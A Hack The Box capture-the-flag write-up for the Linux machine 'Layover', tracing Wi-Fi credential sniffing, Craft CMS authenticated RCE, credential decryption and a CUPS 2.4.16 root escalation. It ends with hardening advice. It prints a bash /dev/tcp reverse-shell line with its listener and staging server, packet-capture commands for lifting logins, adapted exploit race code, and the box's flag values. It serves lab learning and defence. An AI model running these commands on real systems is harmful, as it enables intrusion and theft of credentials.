back to writeups

Layover

Hack The Box · Season 12 · completed 27 September 2026
Machine rank #112 NEW Linux Season 12 Wireless Craft CMS CUPS User Root ● Completed
Spoiler warning This writeup documents the complete attack path. Credentials and flags are redacted, but the techniques and vulnerable components are described in full.
TL;DR RDP into an airport jump box → join an open internal Wi-Fi network → passively capture a cleartext Miles login → reuse it against Craft CMS → authenticated RCE as www-data → decrypt a stored service credential → SSH as aporter → adapt the official CUPS 2.4.16 PoC → root.
Hack The Box completion message showing Lanky as player 112 to solve Layover
NEW Machine rank #112
Initial target
10.129.4.188
Entry
RDP as contractor to the airside-ws01 jump box
Pivot
Open airport Wi-Fi network and internal portal at 10.13.37.10
Foothold
Craft CMS 5.9.8 authenticated behavior-injection RCE
User
Decrypt the custom module's mail-relay credential to reach aporter
Root
CUPS 2.4.16 local admin-token disclosure and root file overwrite

01External reconnaissance

I started with a default service scan, followed by a complete TCP sweep and targeted scripts:

nmap -sC -sV -oA scans/initial 10.129.4.188
sudo nmap -p- --min-rate 1000 -T4 -oA scans/all-tcp 10.129.4.188
sudo nmap -Pn -p22,3389 -sV \
  --script 'ssh-hostkey,ssh2-enum-algos,rdp-enum-encryption,rdp-ntlm-info' \
  -oA scans/targeted 10.129.4.188

Only SSH and RDP were exposed:

22/tcp   open  ssh           OpenSSH 9.6p1 Ubuntu
3389/tcp open  ms-wbt-server Microsoft Terminal Service

The supplied contractor account failed over SSH but worked over RDP. The session landed on an XFCE Linux workstation named airside-ws01, and the account had unrestricted sudo access.

02The airport Wi-Fi pivot

The workstation had two wireless interfaces. Both detected an open channel-six network named HTB International WiFi. I joined with wlan2 and reserved wlan3 for passive monitoring.

nmcli device wifi connect 'HTB International WiFi' ifname wlan2

nmcli device set wlan3 managed no
ip link set wlan3 down
iw dev wlan3 set type monitor
ip link set wlan3 up
iw dev wlan3 set channel 6

timeout 180 tcpdump -i wlan3 -nn -s0 -w channel6.pcap

The joined interface received 10.13.37.182/24. Internal DNS exposed wifi.international.htb and portal.international.htb, with the portal hosted at 10.13.37.10.

A tshark filter showed repeated cleartext form submissions to the Miles login:

tshark -r channel6.pcap \
  -Y 'http.request.method == "POST"' \
  -T fields -e ip.src -e http.host -e http.request.uri \
  -e urlencoded-form.key -e urlencoded-form.value

The captured passenger account also authenticated to the Craft CMS control panel. This was the key transition from passive network observation to application access.

03Craft CMS to www-data

The control panel's system report disclosed:

PHP       8.3.6
MariaDB   10.11.14
Craft     Craft Solo 5.9.8
Yii       2.0.54
Web root  /var/www/portal
Module    htbairways

Craft CMS 5.9.8 falls within the affected range for CVE-2026-44011. The flaw allows an authenticated user to inject malicious Yii behavior configuration through an element-search condition and execute arbitrary commands.

I submitted the payload to /admin/actions/element-search/search from the authenticated browser session, using Craft's current CSRF token. A curl callback first confirmed execution. I then staged a small reverse-shell script from the jump box and invoked it through the same primitive.

# airside-ws01
printf '%s\n' '#!/bin/bash' \
  'bash -i >& /dev/tcp/10.13.37.182/4444 0>&1' > /tmp/rs.sh
python3 -m http.server 8000 --directory /tmp

# second terminal
nc -lvnp 4444

The callback landed as www-data in /var/www/portal/web.

04From application secrets to aporter

Craft's .env contained the database credentials and CRAFT_SECURITY_KEY. The custom htbairways module stored a mail-relay username and encrypted password in MariaDB:

MYSQL_PWD='<redacted>' mysql \
  -h 127.0.0.1 -u craftuser -D craft -N -B \
  -e 'SELECT name,value FROM htbairways_settings;'

An encrypted value is only as strong as the separation of its key. With the Craft security key and the project's vendor tree both readable, Yii could decrypt the value exactly as the application did:

require "vendor/autoload.php";
$security = new yii\base\Security();
echo $security->decryptByKey(
    base64_decode($argv[1]),
    $argv[2]
), PHP_EOL;

The recovered service credential was reused by the local aporter account. It worked with both su and SSH, providing a stable user shell and access to the user flag.

user.txtc536bc39c67c3a954c4ae3d08db876f4

05CUPS 2.4.16 enumeration

The account had no sudo privileges, and the standard SUID/capability review did not reveal a shortcut. CUPS stood out instead:

cups-config --version
ls -l /run/cups/cups.sock
ps -eo user,pid,cmd | grep '[c]upsd'
command -v python3 ipptool lp lpstat
CUPS version  2.4.16
Daemon        root /usr/sbin/cupsd -f
Socket        srwxrwxrwx root root /run/cups/cups.sock
ipptool       /usr/bin/ipptool

06Root via CVE-2026-34990

CUPS 2.4.16 is affected by CVE-2026-34990 / GHSA-c54j-2vqw-wpwp. A local user can coerce the root-owned scheduler into authenticating to a loopback IPP listener and capture a reusable Authorization: Local token. The token authorizes local administrative requests.

The official reproducer combines this with CUPS-Create-Local-Printer and a race that persists a file:// printer. Printing raw data to a queue targeting /etc/sudoers.d/... turns the bug into a root file overwrite.

I adapted the upstream PoC to the system installation:

IPPTOOL           /usr/bin/ipptool
LPSTAT            /usr/bin/lpstat
CREATE_LOCAL_TEST /usr/share/cups/ipptool/cups-create-local-printer.test
ATTACKER_USER     aporter
PWN_FILE          /etc/sudoers.d/aporter-pwn

The upstream script expects root because it constructs a clean laboratory environment. On this host, CUPS was already running in the vulnerable configuration, so I removed the reset and user-creation stages and ran its token-capture and candidate workers directly as aporter.

The useful debugging detail The first adapted run failed while checking /etc/sudoers.d/aporter-pwn. That directory was not traversable by aporter, so even Path.exists() raised PermissionError. I replaced the file inspection with a direct sudo -n id check after each race attempt.
root_test = run_as_attacker(
    ["sudo", "-n", "/bin/sh", "-c", "id"],
    check=False,
)
if root_test.returncode != 0:
    continue

The exploit captured the local token immediately and won the persistence race on attempt three:

*** CAPTURE LOCAL TOKEN ***
Captured Local authorization token: <redacted>

*** CANDIDATE ***
Candidate attempt 1.  sudo: a password is required
Candidate attempt 2.  sudo: a password is required
Candidate attempt 3.  uid=0(root) gid=0(root) groups=0(root)

Privilege escalation complete. Persisted printer: sudo350972
root.txtc7aae5ec58e62107a05620749469d8f8

07Attack path

contractor RDP → airside-ws01
        ↓
open airport Wi-Fi → passive cleartext credential capture
        ↓
Craft CMS 5.9.8 authenticated RCE
        ↓
www-data → Craft key + database credentials
        ↓
decrypt mail-relay password → aporter
        ↓
CUPS 2.4.16 local token disclosure + root file overwrite
        ↓
root

08Takeaways

09References

◆If this were my environment

The path joined wireless exposure, a public CMS, application secrets and a root CUPS file-write primitive. I would harden each plane separately and make the print service local-only unless sharing is required.

Priority controls
  • Use WPA3-Enterprise or WPA2-Enterprise with certificate validation, strong segmentation and no shared pre-shared key for administrative networks.
  • Patch Craft CMS and plugins, protect admin access with MFA, and rotate keys or credentials recovered from configuration files.
  • Bind CUPS to loopback or trusted management interfaces, require TLS and authentication, and remove remote administration when unused.
  • Constrain CUPS with systemd sandboxing and SELinux/AppArmor; prevent it from writing arbitrary root-owned paths.

Hardening guides and benchmarks

These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.

Operational note CIS and DISA profiles can affect compatibility. Apply them through version-controlled policy, start in audit mode where supported, test business workloads and record every exception with an owner and review date.

back to writeups